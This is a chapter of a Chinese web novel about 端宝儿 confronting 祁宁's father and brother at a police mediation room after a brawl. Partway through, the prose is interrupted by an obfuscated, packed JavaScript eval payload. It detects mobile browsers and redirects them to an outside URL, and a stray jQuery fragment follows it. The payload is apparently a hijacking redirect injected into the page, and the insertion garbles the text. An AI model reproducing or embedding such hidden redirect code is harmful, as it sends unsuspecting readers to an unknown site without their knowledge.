47.可以舍弃的家
作品:《夜雨身湿》 端宝儿莫名发难,显然来者不善,但并不凶,只是气定神闲地做出恶评,江雨瑶便已经方寸大乱。
一句话就差点把她说哭了。
她不喜欢端宝儿,从来都是背着人说。
如今当面对上,竟然说不出话。
江雨瑶脸皮薄,拿端宝儿没办法,不想在警局门口被人看,又往旁边走了些。
她刚才被询问时,没顾上看手机,还没来得及叫司机过来接人。
端宝儿攻击的是她最在意的地方,放在别人身上可能没什么效果,江雨瑶却是实打实的在意。
而端宝儿呢,看着很冷静,轻描淡写的,却像个女鬼,纠缠不休,不说过激的词汇,也不主动走开,就逼问她。
——听说你之前一直说我坏话啊?
——你闲到这种程度,看到我,就要偷偷说我好几顿?现在我在这呢,你不说话了?
——在哪里都说我和谢铮怎么样很好玩是吗?你对谢家人那么感兴趣?
——那还和我男友相亲?
江雨瑶尝试反驳,说不过,好在她发现该烦恼的人不是自己。
因为他们在这里拉扯了一会儿,远远有一个女生,快步走来。
几乎是一闪,就到了低头玩手机的祁佳慧面前,她可能本来想说点什么,但看到祁佳慧之后,脸就涨红了。
下一秒,是清脆的肢体碰||撞声,她的手掌把祁佳慧的脸扇得侧过去。
手机掉了,祁佳慧别过脸去的时候,正好与端宝儿对视上。
端宝儿——他只知道是周密和江雨瑶认识的人,看着就不好搞定,是他不感兴趣的那种类型,吃了也会扎嘴。
可是为什么端宝儿看着他,眼底很冷,但嘴角有一点笑意,莫名有种瘆人的不悦。
他们认识吗?
这女人不是来刁难江雨瑶的吗?
顾不上这种混沌直觉,眼前有更重要的事。祁佳慧转头,心头已经一跳,因为突然出现的、找上门的、是他前女友。
“余西你疯了?你打我?”他不可置信。
给她转了钱好声好气分手还能怎样?真要发疯生下来?只是为了勒索钱财的话他也不是不能考虑给,但莫名多一个孩子真的很惊悚。
但对方不管不顾。
祁佳慧的记忆出现了一段时间的恍惚,大概是因为太丢人了,直到被送回派出所,他还浑浑噩噩。
因为他还手了……余西那边的亲戚是跟着来的,可能是她家中的兄弟。
他被打了一巴掌之后,没面子的愤怒打过那一点点轻微的疼痛,下意识就要打人,接着几个人拦住他,但余西不怕他,余西骂得很大声——骂他不该逼女友流产,骂他又搞上新的人,骂他脏和贱。
当时围观的人都多起来,没人上来劝。
祁佳慧心头火起,余西就一普通家庭的姑娘,有什么底气和他叫板?
他爸认识她的老板,她老板见了他也得客客气气的……对了,他还有他哥。
这女人不知道惹了他之后不会好过吗?
祁佳慧咽不下这口气,尤其不爽余西带来的人上手抱他、拦他,不让他接近余西。
大脑过度亢奋,气性上头便只想挣开他们,不由开始拳打脚踢——反正他打人也从来没负过责任。
周密和江雨瑶被吓到之后本想上来劝阻,但在争执中被撞了几下就怕了。
围观群众们面色各异,只有端宝儿,她还站在那里,也不怕,似乎丝毫不意外——她还在饶有兴趣地微笑。
回神,已经又回了公安局。
“真是不消停,刚出警局又打架。”接警的警察嘟哝,揉了揉眼睛继续加班。
隔着墙还能听到余西的哭诉,把他说得好像是完全的加害者。
余西的家人都佐证,今天本来只是想讨个说法,男女感情出了纠纷,到出轨打胎这种程度,打一巴掌不算什么,都怪祁佳慧要还手推人。
祁佳慧气不过,忍不住,噌地一下站起来,“我爸妈怎么还没到。”
祁意伟和严燕忧心忡忡地赶来时,祁佳慧注意到,江雨瑶已经回去了,周密还不知所措地坐在最外面的椅子上。
但端宝儿还没走,这个女人神色自若地玩手机,他来不及多想,先和爸妈抱怨。
祁严一家人,自从上一次和祁宁吃过饭,最近都留在南市。
他们此时也觉得什么怀孕打胎分手感情纠纷闹到台前很上不得台面——要说,也是那女生上不得台面。
便尝试和警察解释,那女生也有问题,只不过是想绑架祁佳慧结婚,今晚的事,不该是祁佳慧负责。
警察:“……他打人了,那边不原谅的话,可能要拘留。你们商量一下,”
祁佳慧把头别过去,和严燕抱怨,“她打我就不算数了是吗?”
祁意伟果然护着他,一度想指责对面办事不力、有所偏私。
警察解释:“你们是情侣,她一开始的行为冲动,我们刚才也警告批评过了……但是后面他们没有别的意图,都在拦着你。后面你的行为就过了,你要接受调解的话,去道个歉,也没问题。”
祁意伟说不过,给祁宁打电话,那边只是冷冷淡淡地说知道了,让我女朋友先来训他。
祁意伟以为是玩笑话呢,挂了电话就抱怨:“什么态度,他弟出事了,他和没事人似的。”
一家三口坐在调解室里等祁宁来,结果先进来的是端宝儿。
“……?”
看到祁家父子疑惑的表情,端宝儿回头和开门的警察表达了感谢,又落落大方地坐在三人对面。
“你们叫祁宁来是吗?他是我男友,正好,他拜托我先来看看什么情况。”
祁意伟看向警察,警察没有半点反对的意思。
他们第一次遇到这样的路数。
祁意伟知道外头坐着的那个,是祁佳慧的女友。但只是谈恋爱而已,祁佳慧换女友也换得勤,他没必要去搭理一个小姑娘,只彻底的无视了。
对于儿子的女友,他就是有优越感。那女孩在外头看到他,本想站起来问好,但被他斜睨一眼,又好好坐正了。
就该是拘束的、被审视的、被挑剔的才对。
眼前这个是怎么回事?
毫无礼数,不讲规矩。就算她真是祁宁女友,那也该恭恭敬敬问好,承不承认她,也是他们家人说了算。
再说,祁宁是什么时候有女友的?
祁意伟盯着端宝儿看,她长得是端正,白,眉尾舒展,眼眸水润,但丝毫不谦卑,那种无所谓的眼神让他感到格外冒犯。
端宝儿也就任他看。
不知道什么时候开始,她从祁宁身上学到了一点给下属开会时应有的气势。
她看过他接通过视频会议,祁宁在听报告,她在旁边吃果切。此时,端宝儿回想那些时候祁宁的状态,眼神依次扫过一家三口,祁意伟和她想象中的差不多,严燕不仅没什么威慑性,存在感也不多,祁佳慧和他爸一样张扬。
“您小儿子犯了事,这么晚了,叫祁宁来干嘛?祁宁又不能代他被拘留。”端宝儿又瞟向祁佳慧,“我就说怎么看你眼熟,你就是祁宁弟弟,方才不是嚣张得很吗?现在知道找哥哥了?要是你多关注你哥的生活,知道你哥早谈恋爱了,也不至于不认识我,我刚也能劝住你。”
“你关心你哥吗?”她越训越凶,“连我都认不出来!”
“我……”
祁意伟咽下翻涌的火气,看一眼忍不住要解释的儿子,无奈地暗骂一声不争气,截下他的话头,直接看向警察。
“我们不认识这女的。我拒绝和她交流,你把她带出去吧。”
端宝儿毫不在意,一脸无辜。
警察也无奈,他们这家人是说彼此认识,坐在一起也很合理,隔壁还等着道歉呢,能不能快点让人去道歉。
他征求端宝儿意见,“女士,你出去吗?”
他怕她不像说的那样有底气,到时在调解室起冲突,又增加工作量。
端宝儿:“我男友真的拜托我来这安抚他们呢。我男友怎么说的,您刚才也听到了。再说,我男友家都是体面人,不会有事。”她看向祁意伟,笑,“您就先和我聊,聊完他就来了。”
警察:“……那你们先谈,看能不能给个解决方案,尤其是劝劝这个。”
警察退出去了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512559|181906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们每晚警情不少,丢手机的,喝多酒的,口头纠纷的,五花八门。没空太操心这边已经分开调解的人。
祁意伟:“我和你没什么好说的。”
端宝儿不在意地一笑,找准祁佳慧这个软柿子。
“听你哥说,你谈恋爱的时候让人家怀孕了?怀孕之后马上分手?有你这样办事的吗?人家打你一顿,你还不乐意上了?”
严燕显然不高兴了,刚想说什么,结果祁意伟更激动,她只能先拉着祁意伟让他别动怒。
“你这小姑娘有教养吗?轮得到你说话吗?”中气十足,墙壁震动,细小的唾沫点子溅到桌上。
“没有啊。”端宝儿漠然,“祁宁也没有,所以我们在一起咯。”
“但是他心疼他弟,不希望他弟走我们的歪路,所以今天跟我强调,一定要好好纠正了,像我这样好的女朋友真的不多了,你们家祁宁真有福气啊。”
祁意伟捂着胸口,喘两口气,“我跟你无话可说,你出去。”
“祁宁说我来了他才来。”
“那他也不用来了。”
端宝儿:“行,那我让他一起进来。”
她坐得很直,身影清晰地映照在调解室的监控探头里,监控探头上也标着风行的LOGO。
风行业务很广,最近做了自动识别功能升级的智能探头,带自动标记人物和转录语音功能,前不久才经过采购和这些单位合作进行试点。
当然,这里的工作人员都不认识他。
祁宁的视线从探头上移开,和警察点头谢过,往调解室走。
有生以来第一次,他前去与家人相见的心情,是轻松的,什么都不用思考的。
以祁意伟为圆心的一圈人,他们的思维、行事模式,对他而言,都陌生到像是不同物种。
即使大家身体里淌着相似的血,他也时常感到孤单。
祁意伟擅长诡辩,他气势蛮横又自由一套逻辑,大约完美继承了爷爷偏执的逻辑,且青出于蓝而胜于蓝了,和他说话祁宁总是痛苦。
为什么看到你爸也不笑,臭小子。你妈肯定也婚前出轨过,你有什么好怪我的。来叫妈妈。这是你的弟弟。祁意伟说话总是带着残忍地逗趣,好似他天生该为父亲进行一场动物表演。成年后他有能力逃避了,祁意伟又开始示弱,我是你爸,你为什么冷漠,没良心,不认爹娘,都是一家人,你觉得你这样你奶奶能开心吗?别给你奶奶添堵。
反驳一句话就有下一句话,慢慢的,祁宁学会逃避。
祁意伟的要求,如果不难完成,就敷衍地做,做事比听祁意伟说话幸福。
但这并不能从根本上改善他们之间的关系,每当祁意伟一开口,他还是痛苦。
祁意伟组建新家庭后,行事越发无所顾忌,张扬虚荣,他们搬去B市,也顺便带走了他的脊梁。
——因为有这样的家人,直不起腰,抬不起头,没法逃脱,名为血缘的藤蔓刮进肉里,和血管长在一起。
但是端宝儿——她蛮横地将藤蔓尽数拉扯掉。
她身上有一股野性,祁宁想起第一次在微信上和她说话,她一边用讨好客户的语气说着话,一边用黄豆表情发来满屏的白眼;虽然笑容非常亲和,和随便哪个老人都能小嘴不停地说老多话了,把人哄得直乐;但不笑时,嘴角却是向下的,有一种冷酷的意味。
她不想办的事就绝对不办,丝毫不会给人面子;谈及谢家的往事,用一种轻松叙述的语气,愤怒的余韵却从每一处毛孔里钻出来。
在这个科技发展到一切都变快的时代,每个人或多或少都想抓住某些东西,但端宝儿当真可以做到什么都不留恋。
什么都不留恋的女人,为了他的家事,在调解室里挂着一抹恶意的笑容,坦诚又无赖地说着:“祁宁和我都没有教养,所以我们在一起——”
他的背后空置许久的位置,终于又长出了新的脊梁。
家人不会再是他的梦魇了。
不会再感到无地自容——
原来人的确会因为某一句话感到解脱。又或许是,从遇到端宝儿的那一天起,他就已经解脱。
祁宁加快脚步,轻快地推门走进去。